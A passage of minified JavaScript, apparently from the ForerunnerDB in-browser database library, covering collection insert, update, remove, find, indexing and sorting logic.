d=this.deferredCalls(),e=[].concat(this._data);this.deferredCalls(!1),b=this.options(b),b.$decouple&&(a=this.decouple(a)),a instanceof Array||(a=[a]),this.remove({}),this.insert(a),this.deferredCalls(d),this._onChange(),this.emit("setData",this._data,e)}return c&&c.call(this),this}}),o.prototype.rebuildPrimaryKeyIndex=function(a){a=a||{$ensureKeys:void 0,$violationCheck:void 0};var b,c,d,e,f=a&&void 0!==a.$ensureKeys?a.$ensureKeys:!0,g=a&&void 0!==a.$violationCheck?a.$violationCheck:!0,h=this._primaryIndex,i=this._primaryCrc,j=this._crcLookup,k=this._primaryKey;for(h.truncate(),i.truncate(),j.truncate(),b=this._data,c=b.length;c--;){if(d=b[c],f&&this.ensurePrimaryKey(d),g){if(!h.uniqueSet(d[k],d))throw this.logIdentifier()+" Call to setData on collection failed because your data violates the primary key unique constraint. One or more documents are using the same primary key: "+d[this._primaryKey]}else h.set(d[k],d);e=this.hash(d),i.set(d[k],e),j.set(e,d)}},o.prototype.ensurePrimaryKey=function(a){void 0===a[this._primaryKey]&&(a[this._primaryKey]=this.objectId())},o.prototype.truncate=function(){if(this.isDropped())throw this.logIdentifier()+" Cannot operate in a dropped state!";return this.emit("truncate",this._data),this._data.length=0,this._primaryIndex=new g("primary"),this._primaryCrc=new g("primaryCrc"),this._crcLookup=new g("crcLookup"),this._onChange(),this.emit("immediateChange",{type:"truncate"}),this.deferEmit("change",{type:"truncate"}),this},o.prototype.upsert=function(a,b){if(this.isDropped())throw this.logIdentifier()+" Cannot operate in a dropped state!";if(a){var c,d,e=this._deferQueue.upsert,f=this._deferThreshold.upsert,g={};if(a instanceof Array){if(this._deferredCalls&&a.length>f)return this._deferQueue.upsert=e.concat(a),this._asyncPending("upsert"),this.processQueue("upsert",b),{};for(g=[],d=0;d<a.length;d++)g.push(this.upsert(a[d]));return b&&b.call(this),g}switch(a[this._primaryKey]?(c={},c[this._primaryKey]=a[this._primaryKey],this._primaryIndex.lookup(c)[0]?g.op="update":g.op="insert"):g.op="insert",g.op){case"insert":g.result=this.insert(a,b);break;case"update":g.result=this.update(c,a,{},b)}return g}return b&&b.call(this),{}},o.prototype.filter=function(a,b,c){return this.find(a,c).filter(b)},o.prototype.filterUpdate=function(a,b,c){var d,e,f,g,h=this.find(a,c),i=[],j=this.primaryKey();for(g=0;g<h.length;g++)d=h[g],f=b(d),f&&(e={},e[j]=d[j],i.push(this.update(e,f)));return i},o.prototype.update=function(a,b,c,d){if(this.isDropped())throw this.logIdentifier()+" Cannot operate in a dropped state!";return this.mongoEmulation()?(this.convertToFdb(a),this.convertToFdb(b)):b=this.decouple(b),b=this.transformIn(b),this._handleUpdate(a,b,c,d)},o.prototype._handleUpdate=function(a,b,c,d){var e,f,g=this,h=this._metrics.create("update"),i=function(d){var e,f,i,j=g.decouple(d);return g.willTrigger(g.TYPE_UPDATE,g.PHASE_BEFORE)||g.willTrigger(g.TYPE_UPDATE,g.PHASE_AFTER)?(e=g.decouple(d),f={type:"update",query:g.decouple(a),update:g.decouple(b),options:g.decouple(c),op:h},i=g.updateObject(e,f.update,f.query,f.options,""),g.processTrigger(f,g.TYPE_UPDATE,g.PHASE_BEFORE,d,e)!==!1?(i=g.updateObject(d,e,f.query,f.options,""),g.processTrigger(f,g.TYPE_UPDATE,g.PHASE_AFTER,j,e)):i=!1):i=g.updateObject(d,b,a,c,""),g._updateIndexes(j,d),i};return h.start(),h.time("Retrieve documents to update"),e=this.find(a,{$decouple:!1}),h.time("Retrieve documents to update"),e.length&&(h.time("Update documents"),f=e.filter(i),h.time("Update documents"),f.length&&(this.debug()&&console.log(this.logIdentifier()+" Updated some data"),h.time("Resolve chains"),this.chainWillSend()&&this.chainSend("update",{query:a,update:b,dataSet:this.decouple(f)},c),h.time("Resolve chains"),this._onUpdate(f),this._onChange(),d&&d.call(this),this.emit("immediateChange",{type:"update",data:f}),this.deferEmit("change",{type:"update",data:f}))),h.stop(),f||[]},o.prototype._replaceObj=function(a,b){var c;this._removeFromIndexes(a);for(c in a)a.hasOwnProperty(c)&&delete a[c];for(c in b)b.hasOwnProperty(c)&&(a[c]=b[c]);if(!this._insertIntoIndexes(a))throw this.logIdentifier()+" Primary key violation in update! Key violated: "+a[this._primaryKey];return this},o.prototype.updateById=function(a,b){var c={};return c[this._primaryKey]=a,this.update(c,b)[0]},o.prototype.updateObject=function(a,b,c,d,e,f){b=this.decouple(b),e=e||"","."===e.substr(0,1)&&(e=e.substr(1,e.length-1));var g,i,j,k,l,m,n,o,p,q,r,s,t=!1,u=!1;for(s in b)if(b.hasOwnProperty(s)){if(g=!1,"$"===s.substr(0,1))switch(s){case"$key":case"$index":case"$data":case"$min":case"$max":g=!0;break;case"$each":for(g=!0,k=b.$each.length,j=0;k>j;j++)u=this.updateObject(a,b.$each[j],c,d,e),u&&(t=!0);t=t||u;break;case"$replace":g=!0,n=b.$replace,o=this.primaryKey();for(m in a)a.hasOwnProperty(m)&&m!==o&&void 0===n[m]&&(this._updateUnset(a,m),t=!0);for(m in n)n.hasOwnProperty(m)&&m!==o&&(this._updateOverwrite(a,m,n[m]),t=!0);break;default:g=!0,u=this.updateObject(a,b[s],c,d,e,s),t=t||u}if(this._isPositionalKey(s)&&(g=!0,s=s.substr(0,s.length-2),p=new h(e+"."+s),a[s]&&a[s]instanceof Array&&a[s].length)){for(i=[],j=0;j<a[s].length;j++)this._match(a[s][j],p.value(c)[0],d,"",{})&&i.push(j);for(j=0;j<i.length;j++)u=this.updateObject(a[s][i[j]],b[s+".$"],c,d,e+"."+s,f),t=t||u}if(!g)if(f||"object"!=typeof b[s])switch(f){case"$inc":var v=!0;b[s]>0?b.$max&&a[s]>=b.$max&&(v=!1):b[s]<0&&b.$min&&a[s]<=b.$min&&(v=!1),v&&(this._updateIncrement(a,s,b[s]),t=!0);break;case"$cast":switch(b[s]){case"array":a[s]instanceof Array||(this._updateProperty(a,s,b.$data||[]),t=!0);break;case"object":(!(a[s]instanceof Object)||a[s]instanceof Array)&&(this._updateProperty(a,s,b.$data||{}),t=!0);break;case"number":"number"!=typeof a[s]&&(this._updateProperty(a,s,Number(a[s])),t=!0);break;case"string":"string"!=typeof a[s]&&(this._updateProperty(a,s,String(a[s])),t=!0);break;default:throw this.logIdentifier()+" Cannot update cast to unknown type: "+b[s]}break;case"$push":if(void 0===a[s]&&this._updateProperty(a,s,[]),!(a[s]instanceof Array))throw this.logIdentifier()+" Cannot push to a key that is not an array! ("+s+")";if(void 0!==b[s].$position&&b[s].$each instanceof Array)for(l=b[s].$position,k=b[s].$each.length,j=0;k>j;j++)this._updateSplicePush(a[s],l+j,b[s].$each[j]);else if(b[s].$each instanceof Array)for(k=b[s].$each.length,j=0;k>j;j++)this._updatePush(a[s],b[s].$each[j]);else this._updatePush(a[s],b[s]);t=!0;break;case"$pull":if(a[s]instanceof Array){for(i=[],j=0;j<a[s].length;j++)this._match(a[s][j],b[s],d,"",{})&&i.push(j);for(k=i.length;k--;)this._updatePull(a[s],i[k]),t=!0}break;case"$pullAll":if(a[s]instanceof Array){if(!(b[s]instanceof Array))throw this.logIdentifier()+" Cannot pullAll without being given an array of values to pull! ("+s+")";if(i=a[s],k=i.length,k>0)for(;k--;){for(l=0;l<b[s].length;l++)i[k]===b[s][l]&&(this._updatePull(a[s],k),k--,t=!0);if(0>k)break}}break;case"$addToSet":if(void 0===a[s]&&this._updateProperty(a,s,[]),!(a[s]instanceof Array))throw this.logIdentifier()+" Cannot addToSet on a key that is not an array! ("+s+")";var w,x,y,z,A=a[s],B=A.length,C=!0,D=d&&d.$addToSet;for(b[s].$key?(y=!1,z=new h(b[s].$key),x=z.value(b[s])[0],delete b[s].$key):D&&D.key?(y=!1,z=new h(D.key),x=z.value(b[s])[0]):(x=this.jStringify(b[s]),y=!0),w=0;B>w;w++)if(y){if(this.jStringify(A[w])===x){C=!1;break}}else if(x===z.value(A[w])[0]){C=!1;break}C&&(this._updatePush(a[s],b[s]),t=!0);break;case"$splicePush":if(void 0===a[s]&&this._updateProperty(a,s,[]),!(a[s]instanceof Array))throw this.logIdentifier()+" Cannot splicePush with a key that is not an array! ("+s+")";if(l=b.$index,void 0===l)throw this.logIdentifier()+" Cannot splicePush without a $index integer value!";delete b.$index,l>a[s].length&&(l=a[s].length),this._updateSplicePush(a[s],l,b[s]),t=!0;break;case"$move":if(!(a[s]instanceof Array))throw this.logIdentifier()+" Cannot move on a key that is not an array! ("+s+")";for(j=0;j<a[s].length;j++)if(this._match(a[s][j],b[s],d,"",{})){var E=b.$index;if(void 0===E)throw this.logIdentifier()+" Cannot move without a $index integer value!";delete b.$index,this._updateSpliceMove(a[s],j,E),t=!0;break}break;case"$mul":this._updateMultiply(a,s,b[s]),t=!0;break;case"$rename":this._updateRename(a,s,b[s]),t=!0;break;case"$overwrite":this._updateOverwrite(a,s,b[s]),t=!0;break;case"$unset":this._updateUnset(a,s),t=!0;break;case"$clear":this._updateClear(a,s),t=!0;break;case"$pop":if(!(a[s]instanceof Array))throw this.logIdentifier()+" Cannot pop from a key that is not an array! ("+s+")";this._updatePop(a[s],b[s])&&(t=!0);break;case"$toggle":this._updateProperty(a,s,!a[s]),t=!0;break;default:a[s]!==b[s]&&(this._updateProperty(a,s,b[s]),t=!0)}else if(null!==a[s]&&"object"==typeof a[s])if(q=a[s]instanceof Array,r=b[s]instanceof Array,q||r)if(!r&&q)for(j=0;j<a[s].length;j++)u=this.updateObject(a[s][j],b[s],c,d,e+"."+s,f),t=t||u;else a[s]!==b[s]&&(this._updateProperty(a,s,b[s]),t=!0);else u=this.updateObject(a[s],b[s],c,d,e+"."+s,f),t=t||u;else a[s]!==b[s]&&(this._updateProperty(a,s,b[s]),t=!0)}return t},o.prototype._isPositionalKey=function(a){return".$"===a.substr(a.length-2,2)},o.prototype.remove=function(a,b,c){if(this.isDropped())throw this.logIdentifier()+" Cannot operate in a dropped state!";var d,e,f,g,h,i,j,k,l=this;if("function"==typeof b&&(c=b,b={}),this.mongoEmulation()&&this.convertToFdb(a),a instanceof Array){for(g=[],f=0;f<a.length;f++)g.push(this.remove(a[f],{noEmit:!0}));return(!b||b&&!b.noEmit)&&this._onRemove(g),c&&c.call(this,!1,g),g}if(g=[],d=this.find(a,{$decouple:!1}),d.length){h=function(a){l._removeFromIndexes(a),e=l._data.indexOf(a),l._dataRemoveAtIndex(e),g.push(a)};for(var m=0;m<d.length;m++)j=d[m],l.willTrigger(l.TYPE_REMOVE,l.PHASE_BEFORE)||l.willTrigger(l.TYPE_REMOVE,l.PHASE_AFTER)?(i={type:"remove"},k=l.decouple(j),l.processTrigger(i,l.TYPE_REMOVE,l.PHASE_BEFORE,k,k)!==!1&&(h(j),l.processTrigger(i,l.TYPE_REMOVE,l.PHASE_AFTER,k,k))):h(j);g.length&&(l.chainSend("remove",{query:a,dataSet:g},b),(!b||b&&!b.noEmit)&&this._onRemove(g),this._onChange(),this.emit("immediateChange",{type:"remove",data:g}),this.deferEmit("change",{type:"remove",data:g}))}return c&&c.call(this,!1,g),g},o.prototype.removeById=function(a){var b={};return b[this._primaryKey]=a,this.remove(b)[0]},o.prototype.processQueue=function(a,b,c){var d,e,f=this,g=this._deferQueue[a],h=this._deferThreshold[a],i=this._deferTime[a];if(c=c||{deferred:!0},g.length){switch(d=g.length>h?g.splice(0,h):g.splice(0,g.length),e=f[a](d),a){case"insert":c.inserted=c.inserted||[],c.failed=c.failed||[],c.inserted=c.inserted.concat(e.inserted),c.failed=c.failed.concat(e.failed)}setTimeout(function(){f.processQueue.call(f,a,b,c)},i)}else b&&b.call(this,c),this._asyncComplete(a);this.isProcessingQueue()||this.deferEmit("queuesComplete")},o.prototype.isProcessingQueue=function(){var a;for(a in this._deferQueue)if(this._deferQueue.hasOwnProperty(a)&&this._deferQueue[a].length)return!0;return!1},o.prototype.insert=function(a,b,c){if(this.isDropped())throw this.logIdentifier()+" Cannot operate in a dropped state!";return"function"==typeof b?(c=b,b=this._data.length):void 0===b&&(b=this._data.length),a=this.transformIn(a),this._insertHandle(a,b,c)},o.prototype._insertHandle=function(a,b,c){var d,e,f,g=this._deferQueue.insert,h=this._deferThreshold.insert,i=[],j=[];if(a instanceof Array){if(this._deferredCalls&&a.length>h)return this._deferQueue.insert=g.concat(a),this._asyncPending("insert"),void this.processQueue("insert",c);for(f=0;f<a.length;f++)d=this._insert(a[f],b+f),d===!0?i.push(a[f]):j.push({doc:a[f],reason:d})}else d=this._insert(a,b),d===!0?i.push(a):j.push({doc:a,reason:d});return e={deferred:!1,inserted:i,failed:j},this._onInsert(i,j),c&&c.call(this,e),this._onChange(),this.emit("immediateChange",{type:"insert",data:i}),this.deferEmit("change",{type:"insert",data:i}),e},o.prototype._insert=function(a,b){if(a){var c,d,e,f,g=this,h=this.capped(),i=this.cappedSize();if(this.ensurePrimaryKey(a),c=this.insertIndexViolation(a),e=function(a){g._insertIntoIndexes(a),b>g._data.length&&(b=g._data.length),g._dataInsertAtIndex(b,a),h&&g._data.length>i&&g.removeById(g._data[0][g._primaryKey]),g.chainWillSend()&&g.chainSend("insert",{dataSet:g.decouple([a])},{index:b})},c)return"Index violation in index: "+c;if(g.willTrigger(g.TYPE_INSERT,g.PHASE_BEFORE)||g.willTrigger(g.TYPE_INSERT,g.PHASE_AFTER)){if(d={type:"insert"},g.processTrigger(d,g.TYPE_INSERT,g.PHASE_BEFORE,{},a)===!1)return"Trigger cancelled operation";e(a),g.willTrigger(g.TYPE_INSERT,g.PHASE_AFTER)&&(f=g.decouple(a),g.processTrigger(d,g.TYPE_INSERT,g.PHASE_AFTER,{},f))}else e(a);return!0}return"No document passed to insert"},o.prototype._dataInsertAtIndex=function(a,b){this._data.splice(a,0,b)},o.prototype._dataRemoveAtIndex=function(a){this._data.splice(a,1)},o.prototype._dataReplace=function(a){for(;this._data.length;)this._data.pop();this._data=this._data.concat(a)},o.prototype._insertIntoIndexes=function(a){var b,c,d=this._indexByName,e=this.hash(a),f=this._primaryKey;c=this._primaryIndex.uniqueSet(a[f],a),this._primaryCrc.uniqueSet(a[f],e),this._crcLookup.uniqueSet(e,a);for(b in d)d.hasOwnProperty(b)&&d[b].insert(a);return c},o.prototype._removeFromIndexes=function(a){var b,c=this._indexByName,d=this.hash(a),e=this._primaryKey;this._primaryIndex.unSet(a[e]),this._primaryCrc.unSet(a[e]),this._crcLookup.unSet(d);for(b in c)c.hasOwnProperty(b)&&c[b].remove(a)},o.prototype._updateIndexes=function(a,b){this._removeFromIndexes(a),this._insertIntoIndexes(b)},o.prototype._rebuildIndexes=function(){var a,b=this._indexByName;for(a in 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0!==a.$decouple?a.$decouple:!0,a.$explain=void 0!==a.$explain?a.$explain:!1,a},o.prototype.find=function(a,b,c){return this.mongoEmulation()&&this.convertToFdb(a),c?(c.call(this,"Callbacks for the find() operation are not yet implemented!",[]),[]):this._find.call(this,a,b,c)},o.prototype._find=function(a,b){if(this.isDropped())throw this.logIdentifier()+" Cannot operate in a dropped state!";a=a||{};var c,d,e,f,g,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x=this._metrics.create("find"),y=this.primaryKey(),z=this,A=!0,B={},C=[],D=[],E=[],F={},G={};if(b instanceof Array||(b=this.options(b)),w=function(c){return z._match(c,a,b,"and",F)},x.start(),a){if(a instanceof Array){for(v=this,n=0;n<a.length;n++)v=v.subset(a[n],b&&b[n]?b[n]:{});return v.find()}if(a.$findSub){if(!a.$findSub.$path)throw"$findSub missing $path property!";return this.findSub(a.$findSub.$query,a.$findSub.$path,a.$findSub.$subQuery,a.$findSub.$subOptions)}if(a.$findSubOne){if(!a.$findSubOne.$path)throw"$findSubOne missing $path property!";return this.findSubOne(a.$findSubOne.$query,a.$findSubOne.$path,a.$findSubOne.$subQuery,a.$findSubOne.$subOptions)}if(x.time("analyseQuery"),c=this._analyseQuery(z.decouple(a),b,x),x.time("analyseQuery"),x.data("analysis",c),c.hasJoin&&c.queriesJoin){for(x.time("joinReferences"),f=0;f<c.joinsOn.length;f++)m=c.joinsOn[f],j=m.key,k=m.type,l=m.id,i=new h(c.joinQueries[j]),g=i.value(a)[0],B[l]=this._db[k](j).subset(g),delete a[c.joinQueries[j]];x.time("joinReferences")}if(c.indexMatch.length&&(!b||b&&!b.$skipIndex)?(x.data("index.potential",c.indexMatch),x.data("index.used",c.indexMatch[0].index),x.time("indexLookup"),e=c.indexMatch[0].lookup||[],x.time("indexLookup"),c.indexMatch[0].keyData.totalKeyCount===c.indexMatch[0].keyData.score&&(A=!1)):x.flag("usedIndex",!1),A&&(e&&e.length?(d=e.length,x.time("tableScan: "+d),e=e.filter(w)):(d=this._data.length,x.time("tableScan: "+d),e=this._data.filter(w)),x.time("tableScan: "+d)),b.$orderBy&&(x.time("sort"),e=this.sort(b.$orderBy,e),x.time("sort")),void 0!==b.$page&&void 0!==b.$limit&&(G.page=b.$page,G.pages=Math.ceil(e.length/b.$limit),G.records=e.length,b.$page&&b.$limit>0&&(x.data("cursor",G),e.splice(0,b.$page*b.$limit))),b.$skip&&(G.skip=b.$skip,e.splice(0,b.$skip),x.data("skip",b.$skip)),b.$limit&&e&&e.length>b.$limit&&(G.limit=b.$limit,e.length=b.$limit,x.data("limit",b.$limit)),b.$decouple&&(x.time("decouple"),e=this.decouple(e),x.time("decouple"),x.data("flag.decouple",!0)),b.$join&&(C=C.concat(this.applyJoin(e,b.$join,B)),x.data("flag.join",!0)),C.length&&(x.time("removalQueue"),this.spliceArrayByIndexList(e,C),x.time("removalQueue")),b.$transform){for(x.time("transform"),n=0;n<e.length;n++)e.splice(n,1,b.$transform(e[n]));x.time("transform"),x.data("flag.transform",!0)}this._transformEnabled&&this._transformOut&&(x.time("transformOut"),e=this.transformOut(e),x.time("transformOut")),x.data("results",e.length)}else e=[];if(!b.$aggregate){x.time("scanFields");for(n in b)b.hasOwnProperty(n)&&0!==n.indexOf("$")&&(1===b[n]?D.push(n):0===b[n]&&E.push(n));if(x.time("scanFields"),D.length||E.length){for(x.data("flag.limitFields",!0),x.data("limitFields.on",D),x.data("limitFields.off",E),x.time("limitFields"),n=0;n<e.length;n++){t=e[n];for(o in t)t.hasOwnProperty(o)&&(D.length&&o!==y&&-1===D.indexOf(o)&&delete t[o],E.length&&E.indexOf(o)>-1&&delete t[o])}x.time("limitFields")}if(b.$elemMatch){x.data("flag.elemMatch",!0),x.time("projection-elemMatch");for(n in b.$elemMatch)if(b.$elemMatch.hasOwnProperty(n))for(q=new h(n),o=0;o<e.length;o++)if(r=q.value(e[o])[0],r&&r.length)for(p=0;p<r.length;p++)if(z._match(r[p],b.$elemMatch[n],b,"",{})){q.set(e[o],n,[r[p]]);break}x.time("projection-elemMatch")}if(b.$elemsMatch){x.data("flag.elemsMatch",!0),x.time("projection-elemsMatch");for(n in b.$elemsMatch)if(b.$elemsMatch.hasOwnProperty(n))for(q=new h(n),o=0;o<e.length;o++)if(r=q.value(e[o])[0],r&&r.length){for(s=[],p=0;p<r.length;p++)z._match(r[p],b.$elemsMatch[n],b,"",{})&&s.push(r[p]);q.set(e[o],n,s)}x.time("projection-elemsMatch")}}return b.$aggregate&&(x.data("flag.aggregate",!0),x.time("aggregate"),u=new h(b.$aggregate),e=u.value(e),x.time("aggregate")),x.stop(),e.__fdbOp=x,e.$cursor=G,e},o.prototype.findOne=function(){return this.find.apply(this,arguments)[0]},o.prototype.indexOf=function(a,b){var c,d=this.find(a,{$decouple:!1})[0];return d?!b||b&&!b.$orderBy?this._data.indexOf(d):(b.$decouple=!1,c=this.find(a,b),c.indexOf(d)):-1},o.prototype.indexOfDocById=function(a,b){var c,d;return c="object"!=typeof a?this._primaryIndex.get(a):this._primaryIndex.get(a[this._primaryKey]),c?!b||b&&!b.$orderBy?this._data.indexOf(c):(b.$decouple=!1,d=this.find({},b),d.indexOf(c)):-1},o.prototype.removeByIndex=function(a){var b,c;return b=this._data[a],void 0!==b?(b=this.decouple(b),c=b[this.primaryKey()],this.removeById(c)):!1},o.prototype.transform=function(a){return void 0!==a?("object"==typeof a?(void 0!==a.enabled&&(this._transformEnabled=a.enabled),void 0!==a.dataIn&&(this._transformIn=a.dataIn),void 0!==a.dataOut&&(this._transformOut=a.dataOut)):this._transformEnabled=a!==!1,this):{enabled:this._transformEnabled,dataIn:this._transformIn,dataOut:this._transformOut}},o.prototype.transformIn=function(a){if(this._transformEnabled&&this._transformIn){if(a instanceof Array){var b,c,d=[];for(c=0;c<a.length;c++)b=this._transformIn(a[c]),b instanceof Array?d=d.concat(b):d.push(b);return d}return this._transformIn(a)}return a},o.prototype.transformOut=function(a){if(this._transformEnabled&&this._transformOut){if(a instanceof Array){var b,c,d=[];for(c=0;c<a.length;c++)b=this._transformOut(a[c]),b instanceof Array?d=d.concat(b):d.push(b);return d}return this._transformOut(a)}return a},o.prototype.sort=function(a,b){var c=this,d=n.parse(a,!0);return d.length&&b.sort(function(a,b){var e,f,g=0;for(e=0;e<d.length;e++)if(f=d[e],1===f.value?g=c.sortAsc(n.get(a,f.path),n.get(b,f.path)):-1===f.value&&(g=c.sortDesc(n.get(a,f.path),n.get(b,f.path))),0!==g)return g;return g}),b},o.prototype._sort=function(a,b){var c,d=this,e=new h,f=e.parse(a,!0)[0];if(e.path(f.path),1===f.value)c=function(a,b){var c=e.value(a)[0],f=e.value(b)[0];return d.sortAsc(c,f)};else{if(-1!==f.value)throw this.logIdentifier()+" $orderBy clause has invalid direction: "+f.value+", accepted values are 1 or -1 for ascending or descending!";c=function(a,b){var c=e.value(a)[0],f=e.value(b)[0];return d.sortDesc(c,f)}}return b.sort(c)},o.prototype._analyseQuery=function(a,b,c){var d,e,f,g,i,j,k,l,m,n,o,p,q,r,s,t,u={queriesOn:[{id:"$collection."+this._name,type:"colletion",key:this._name}],indexMatch:[],hasJoin:!1,queriesJoin:!1,joinQueries:{},query:a,options:b},v=[],w=[];if(c.time("checkIndexes"),p=new h,q=p.parseArr(a,{ignore:/\$/,verbose:!0}).length){void 0!==a[this._primaryKey]&&(r=typeof a[this._primaryKey],("string"===r||"number"===r||a[this._primaryKey]instanceof Array)&&(c.time("checkIndexMatch: Primary Key"),s=this._primaryIndex.lookup(a,b),u.indexMatch.push({lookup:s,keyData:{matchedKeys:[this._primaryKey],totalKeyCount:q,score:1},index:this._primaryIndex}),c.time("checkIndexMatch: Primary Key")));for(t in this._indexById)if(this._indexById.hasOwnProperty(t)&&(m=this._indexById[t],
n=m.name(),c.time("checkIndexMatch: "+n),l=m.match(a,b),l.score>0&&(o=m.lookup(a,b),u.indexMatch.push({lookup:o,keyData:l,index:m})),c.time("checkIndexMatch: "+n),l.score===q))break;c.time("checkIndexes"),u.indexMatch.length>1&&(c.time("findOptimalIndex"),u.indexMatch.sort(function(a,b){return a.keyData.score>b.keyData.score?-1:a.keyData.score<b.keyData.score?1:a.keyData.score===b.keyData.score?a.lookup.length-b.lookup.length:void 0}),c.time("findOptimalIndex"))}if(b.$join){for(u.hasJoin=!0,d=0;d<b.$join.length;d++)for(e in b.$join[d])b.$join[d].hasOwnProperty(e)&&(i=b.$join[d][e],f=i.$sourceType||"collection",g="$"+f+"."+e,v.push({id:g,type:f,key:e}),void 0!==b.$join[d][e].$as?w.push(b.$join[d][e].$as):w.push(e));for(k=0;k<w.length;k++)j=this._queryReferencesSource(a,w[k],""),j&&(u.joinQueries[v[k].key]=j,u.queriesJoin=!0);u.joinsOn=v,u.queriesOn=u.queriesOn.concat(v)}return u},o.prototype._queryReferencesSource=function(a,b,c){var d;for(d in a)if(a.hasOwnProperty(d)){if(d===b)return c&&(c+="."),c+d;if("object"==typeof a[d])return c&&(c+="."),c+=d,this._queryReferencesSource(a[d],b,c)}return!1},o.prototype.count=function(a,b){return a?this.find(a,b).length:this._data.length},o.prototype.findSub=function(a,b,c,d){return this._findSub(this.find(a),b,c,d)},o.prototype._findSub=function(a,b,c,d){var e,f,g,i=new h(b),j=a.length,k=new o("__FDB_temp_"+this.objectId()).db(this._db),l={parents:j,subDocTotal:0,subDocs:[],pathFound:!1,err:""};for(d=d||{},e=0;j>e;e++)if(f=i.value(a[e])[0]){if(k.setData(f),g=k.find(c,d),d.returnFirst&&g.length)return g[0];d.$split?l.subDocs.push(g):l.subDocs=l.subDocs.concat(g),l.subDocTotal+=g.length,l.pathFound=!0}return k.drop(),l.pathFound||(l.err="No objects found in the parent documents with a matching path of: "+b),d.$stats?l:l.subDocs},o.prototype.findSubOne=function(a,b,c,d){return this.findSub(a,b,c,d)[0]},o.prototype.insertIndexViolation=function(a){var b,c,d,e=this._indexByName;if(this._primaryIndex.get(a[this._primaryKey]))b=this._primaryIndex;else for(c in e)if(e.hasOwnProperty(c)&&(d=e[c],d.unique()&&d.violation(a))){b=d;break}return b?b.name():!1},o.prototype.ensureIndex=function(a,b){if(this.isDropped())throw this.logIdentifier()+" Cannot operate in a dropped state!";this._indexByName=this._indexByName||{},this._indexById=this._indexById||{};var c,e={start:(new Date).getTime()};if(b)if(b.type){if(!d.index[b.type])throw this.logIdentifier()+' Cannot create index of type "'+b.type+'", type not found in the index type register (Shared.index)';c=new d.index[b.type](a,b,this)}else c=new i(a,b,this);else c=new i(a,b,this);return this._indexByName[c.name()]?{err:"Index with that name already exists"}:(c.rebuild(),this._indexByName[c.name()]=c,this._indexById[c.id()]=c,e.end=(new Date).getTime(),e.total=e.end-e.start,this._lastOp={type:"ensureIndex",stats:{time:e}},{index:c,id:c.id(),name:c.name(),state:c.state()})},o.prototype.index=function(a){return this._indexByName?this._indexByName[a]:void 0},o.prototype.lastOp=function(){return this._metrics.list()},o.prototype.diff=function(a){var b,c,d,e,f={insert:[],update:[],remove:[]},g=this.primaryKey();if(g!==a.primaryKey())throw this.logIdentifier()+" Diffing requires that both collections have the same primary key!";for(b=a._data;b&&!(b instanceof Array);)a=b,b=a._data;for(e=b.length,c=0;e>c;c++)d=b[c],this._primaryIndex.get(d[g])?this._primaryCrc.get(d[g])!==a._primaryCrc.get(d[g])&&f.update.push(d):f.insert.push(d);for(b=this._data,e=b.length,c=0;e>c;c++)d=b[c],a._primaryIndex.get(d[g])||f.remove.push(d);return f},o.prototype.collateAdd=new l("Collection.prototype.collateAdd",{"object, string":function(a,b){var c=this;c.collateAdd(a,function(d){var e,f;switch(d.type){case"insert":b?(e={$push:{}},e.$push[b]=c.decouple(d.data.dataSet),c.update({},e)):c.insert(d.data.dataSet);break;case"update":b?(e={},f={},e[b]=d.data.query,f[b+".$"]=d.data.update,c.update(e,f)):c.update(d.data.query,d.data.update);break;case"remove":b?(e={$pull:{}},e.$pull[b]={},e.$pull[b][c.primaryKey()]=d.data.dataSet[0][a.primaryKey()],c.update({},e)):c.remove(d.data.dataSet)}})},"object, function":function(a,b){if("string"==typeof a&&(a=this._db.collection(a,{autoCreate:!1,throwError:!1})),a)return this._collate=this._collate||{},this._collate[a.name()]=new m(a,this,b),this;throw"Cannot collate from a non-existent collection!"}}),o.prototype.collateRemove=function(a){if("object"==typeof a&&(a=a.name()),a)return this._collate[a].drop(),delete this._collate[a],this;throw"No collection name passed to collateRemove() or collection not found!"},e.prototype.collection=new l("Db.prototype.collection",{"":function(){return this.$main.call(this,{name:this.objectId()})},object:function(a){return a instanceof o?"droppped"!==a.state()?a:this.$main.call(this,{name:a.name()}):this.$main.call(this,a)},string:function(a){return this.$main.call(this,{name:a})},"string, string":function(a,b){return this.$main.call(this,{name:a,primaryKey:b})},"string, object":function(a,b){return b.name=a,this.$main.call(this,b)},"string, string, object":function(a,b,c){return c.name=a,c.primaryKey=b,this.$main.call(this,c)},$main:function(a){var b=this,c=a.name;if(c){if(this._collection[c])return this._collection[c];if(a&&a.autoCreate===!1){if(a&&a.throwError!==!1)throw this.logIdentifier()+" Cannot get collection "+c+" because it does not exist and auto-create has been disabled!";return}if(this.debug()&&console.log(this.logIdentifier()+" Creating collection "+c),this._collection[c]=this._collection[c]||new o(c,a).db(this),this._collection[c].mongoEmulation(this.mongoEmulation()),void 0!==a.primaryKey&&this._collection[c].primaryKey(a.primaryKey),void 0!==a.capped){if(void 0===a.size)throw this.logIdentifier()+" Cannot create a capped collection without specifying a size!";this._collection[c].capped(a.capped),this._collection[c].cappedSize(a.size)}return b._collection[c].on("change",function(){b.emit("change",b._collection[c],"collection",c)}),b.emit("create",b._collection[c],"collection",c),this._collection[c]}if(!a||a&&a.throwError!==!1)throw this.logIdentifier()+" Cannot get collection with undefined name!"}}),e.prototype.collectionExists=function(a){return Boolean(this._collection[a])},e.prototype.collections=function(a){var b,c,d=[],e=this._collection;a&&(a instanceof RegExp||(a=new RegExp(a)));for(c in e)e.hasOwnProperty(c)&&(b=e[c],a?a.exec(c)&&d.push({name:c,count:b.count(),linked:void 0!==b.isLinked?b.isLinked():!1}):d.push({name:c,count:b.count(),linked:void 0!==b.isLinked?b.isLinked():!1}));return d.sort(function(a,b){return a.name.localeCompare(b.name)}),d},d.finishModule("Collection"),b.exports=o},{"./Index2d":8,"./IndexBinaryTree":9,"./IndexHashMap":10,"./KeyValueStore":11,"./Metrics":12,"./Overload":24,"./Path":25,"./ReactorIO":26,"./Shared":28}],5:[function(a,b,c){"use strict";var d,e,f,g,h=[];d=a("./Shared"),g=a("./Overload");var i=function(a){this.init.apply(this,arguments)};i.prototype.init=function(a){this._db={},this._debug={},this._name=a||"ForerunnerDB",h.push(this)},i.prototype.instantiatedCount=function(){return h.length},i.prototype.instances=function(a){return void 0!==a?h[a]:h},i.prototype.namedInstances=function(a){var b,c;{if(void 0===a){for(c=[],b=0;b<h.length;b++)c.push(h[b].name);return c}for(b=0;b<h.length;b++)if(h[b].name===a)return h[b]}},i.prototype.moduleLoaded=new g({string:function(a){if(void 0!==a){a=a.replace(/ /g,"");var 